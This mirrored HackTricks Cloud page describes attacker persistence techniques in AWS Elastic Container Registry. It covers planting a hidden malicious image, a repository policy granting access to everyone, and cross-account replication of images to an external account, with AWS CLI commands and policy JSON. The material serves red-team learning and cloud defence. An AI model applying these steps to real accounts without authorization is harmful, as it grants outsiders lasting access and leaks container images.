mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-01 23:39:52 -08:00
125 lines
5.0 KiB
Markdown
125 lines
5.0 KiB
Markdown
# AWS - ECR Persistence
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## ECR
|
|
|
|
For more information check:
|
|
|
|
{% content-ref url="../aws-services/aws-ecr-enum.md" %}
|
|
[aws-ecr-enum.md](../aws-services/aws-ecr-enum.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Hidden Docker Image with Malicious Code
|
|
|
|
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
|
|
|
|
### Repository Policy
|
|
|
|
Add a policy to a single repository granting yourself (or everybody) access to a repository:
|
|
|
|
```bash
|
|
aws ecr set-repository-policy \
|
|
--repository-name cluster-autoscaler \
|
|
--policy-text file:///tmp/my-policy.json
|
|
|
|
# With a .json such as
|
|
|
|
{
|
|
"Version" : "2008-10-17",
|
|
"Statement" : [
|
|
{
|
|
"Sid" : "allow public pull",
|
|
"Effect" : "Allow",
|
|
"Principal" : "*",
|
|
"Action" : [
|
|
"ecr:BatchCheckLayerAvailability",
|
|
"ecr:BatchGetImage",
|
|
"ecr:GetDownloadUrlForLayer"
|
|
]
|
|
}
|
|
]
|
|
}
|
|
```
|
|
|
|
{% hint style="warning" %}
|
|
Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
|
|
{% endhint %}
|
|
|
|
### Registry Policy & Cross-account Replication
|
|
|
|
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (79).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
First, you need to give the external account access over the registry with a **registry policy** like:
|
|
|
|
```bash
|
|
aws ecr put-registry-policy --policy-text file://my-policy.json
|
|
|
|
# With a .json like:
|
|
|
|
{
|
|
"Sid": "asdasd",
|
|
"Effect": "Allow",
|
|
"Principal": {
|
|
"AWS": "arn:aws:iam::947247140022:root"
|
|
},
|
|
"Action": [
|
|
"ecr:CreateRepository",
|
|
"ecr:ReplicateImage"
|
|
],
|
|
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
|
}
|
|
```
|
|
|
|
Then apply the replication config:
|
|
|
|
```bash
|
|
aws ecr put-replication-configuration \
|
|
--replication-configuration file://replication-settings.json \
|
|
--region us-west-2
|
|
|
|
# Having the .json a content such as:
|
|
{
|
|
"rules": [{
|
|
"destinations": [{
|
|
"region": "destination_region",
|
|
"registryId": "destination_accountId"
|
|
}],
|
|
"repositoryFilters": [{
|
|
"filter": "repository_prefix_name",
|
|
"filterType": "PREFIX_MATCH"
|
|
}]
|
|
}]
|
|
}
|
|
```
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|